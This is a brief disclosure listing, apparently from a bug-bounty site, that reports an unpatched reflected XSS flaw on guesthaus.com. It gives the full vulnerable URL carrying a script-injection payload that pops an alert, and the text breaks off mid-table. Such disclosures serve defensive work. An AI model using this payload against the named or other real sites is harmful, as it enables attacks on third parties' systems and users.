guesthaus.com XSS vulnerability

Vulnerable URL: http://www.guesthaus.com/searchcaf.php?query=%22%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...